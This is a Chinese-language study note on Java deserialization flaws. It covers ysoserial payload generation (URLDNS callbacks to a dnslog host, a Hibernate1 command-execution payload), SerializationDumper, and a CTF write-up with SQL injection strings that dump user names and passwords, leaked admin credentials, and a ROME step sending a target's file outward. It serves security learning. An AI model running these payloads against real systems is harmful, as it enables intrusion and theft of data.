#知识点:
1、Java 反序列化演示-原生 API 接口
2、Java 反序列化漏洞利用-Ysoserial 使用
3、Java 反序列化漏洞发现利用点-函数&数据
4、Java 反序列化考点-真实&CTF 赛题-审计分析
#内容点:
1、明白-Java 反序列化原理
2、判断-Java 反序列化漏洞
3、学会-Ysoserial 工具使用
4、学会-SerializationDumper
5、了解-简要 Java 代码审计分析
#前置知识:
序列化和反序列化的概念:
序列化:把 Java 对象转换为字节序列(字节流)的过程。
反序列化:把字节序列恢复为 Java 对象的过程。
对象的序列化主要有两种用途:
把对象的字节序列永久地保存到硬盘上,通常存放在一个文件中;(持久化对象)
在网络上传送对象的字节序列。(网络传输对象)
函数接口:
Java: Serializable Externalizable 接口、fastjson、jackson、gson、
ObjectInputStream.read、ObjectObjectInputStream.readUnshared、
XMLDecoder.read、ObjectYaml.loadXStream.fromXML、
ObjectMapper.readValue、JSON.parseObject 等
PHP: serialize()、 unserialize()
Python:pickle
数据出现:
1、功能特性:
反序列化操作一般应用在导入模板文件、网络通信、数据传输、日志格式化存储、对象数
据落磁盘、或 DB 存储等业务场景。因此审计过程中重点关注这些功能板块。
2、数据特性:
一段数据以 rO0AB 开头,你基本可以确定这串就是 JAVA 序列化 base64 加密的数据。
或者如果以 aced 开头,那么他就是这一段 java 序列化的 16 进制。
3、出现具体:
http 参数,cookie,sesion,存储方式可能是 base64(rO0),压缩后的
base64(H4s),MII 等 Servlets http,Sockets,Session 管理器,包含的协议就包
发现:
黑盒分析:数据库出现地-观察数据特性
白盒分析:组件安全&函数搜索&功能模块
利用:
Ysoserial工具利用
Ø 原生 API-Ysoserial_URLDNS 使用
Ø 三方组件-Ysoserial_支持库生成使用
Ø 解密分析-SerializationDumper 数据分析
Ø CTF 赛题-[网鼎杯 2020 朱雀组]ThinkJava
#java序列化和反序列化
具体代码:
package SerialTest;
import java.io.*;
public class SerializableTest {
public static void main(String[] args) throws Exception {
serialPerson();
Person person = deserialPerson();
System.out.println(person);
}
/**
* Person对象序列化
* @throws IOException
*/
private static void serialPerson() throws IOException {
Person person = new Person("xiaodi", 28, "男", 101);
ObjectOutputStream oos = new ObjectOutputStream(
new FileOutputStream(new File("d:/person.txt"))
);
oos.writeObject(person);
System.out.println("person 对象序列化成功!");
oos.close();
}
/**
* Person对象反序列化
* @return
* @throws Exception
*/
private static Person deserialPerson() throws Exception {
ObjectInputStream ois = new ObjectInputStream(
new FileInputStream(new File("d:/x.txt"))
);
Person person = (Person)ois.readObject();
System.out.println("person 对象反序列化成功!");
//Runtime.getRuntime().exec("calc.exe");
return person;
}
}
正序列化
符合数据特性中的aced开头
利用:当我们对序列化后的数据进行数据更改,构造出恶意代码,再放回去,便形成了反序列化攻击
#原生 API-Ysoserial_URLDNS 使用
由于Ys工具多半是针对原生类的,而现在大多数都是以组件的形式,格式可能不支持
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar
Serializable 接口
Externalizable 接口
没组件生成 DNS 利用:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://43x1nz.dnslog.cn" > urldns.ser
修改文件,将person文件换为a.txt载入使反序列化
相关的DNS收到其信息,说明其会进行反序列化并进行执行
#三方组件-Ysoserial_支持库生成使用
https://github.com/WebGoat/WebGoat
有组件生成 RCE:
将此文件库保存下来,进行引用
1、生成:java -Dhibernate5 -cp hibernate-core-
5.4.9.Final.jar;ysoserial-0.0.6-SNAPSHOT-all.jar
ysoserial.GeneratePayload Hibernate1 "calc.exe" > x.bin
进行本地执行计算机的命令
生成以ACED头的
而题中的要求要rO0AB 开头,故需进行base64加密
2、解码:python java.py
import base64
file = open("x.bin","rb")
now = file.read()
ba = base64.b64encode(now)
print(ba)
file.close()
成功
#解密分析-SerializationDumper 数据分析
在代码审计中或代码利用时判断是否成功——只支持十六进制
https://github.com/NickstaDB/SerializationDumper
java -jar SerializationDumper-v1.13.jar -r urldns.ser >dns.txt
#CTF 赛题-[网鼎杯 2020 朱雀组]ThinkJava
0x01 注入判断,获取管理员帐号密码:
根据提示附件进行 javaweb 代码审计,发现可能存在注入漏洞
另外有 swagger 开发接口,测试注入漏洞及访问接口进行调用测试
数据库名:myapp,列名 name,pwd
注入测试:
POST /common/test/sqlDict
dbName=myapp?a=' union select (select name from user)#
dbName=myapp?a=' union select (select pwd from user)#
0x02 接口测试
/swagger-ui.html 接口测试:
{
"password":"admin@Rrrr_ctf_asde",
"username": "admin"
}
根据题目中给的swagger的接口login,进行测试
发现,data里有反序列化数据,解密一下(base64解密java_bs.py+SerializationDumper解密)
在接口current下,输入data数据
操作成功,且得知了是admin操作的,这就说明在序列化下存在admin的权限,且只有此功能存在了对序列化的读取才会知道有admin用户,故存在反序列化操作
利用原生类URLDNS进行测试
同时进行base64加密——Java.python——因为data里的序列化为rO0AB 开头
提交
有了,漏洞存在
获取flag
ROME:让对方的指定文件发送到指定地址中
成功监听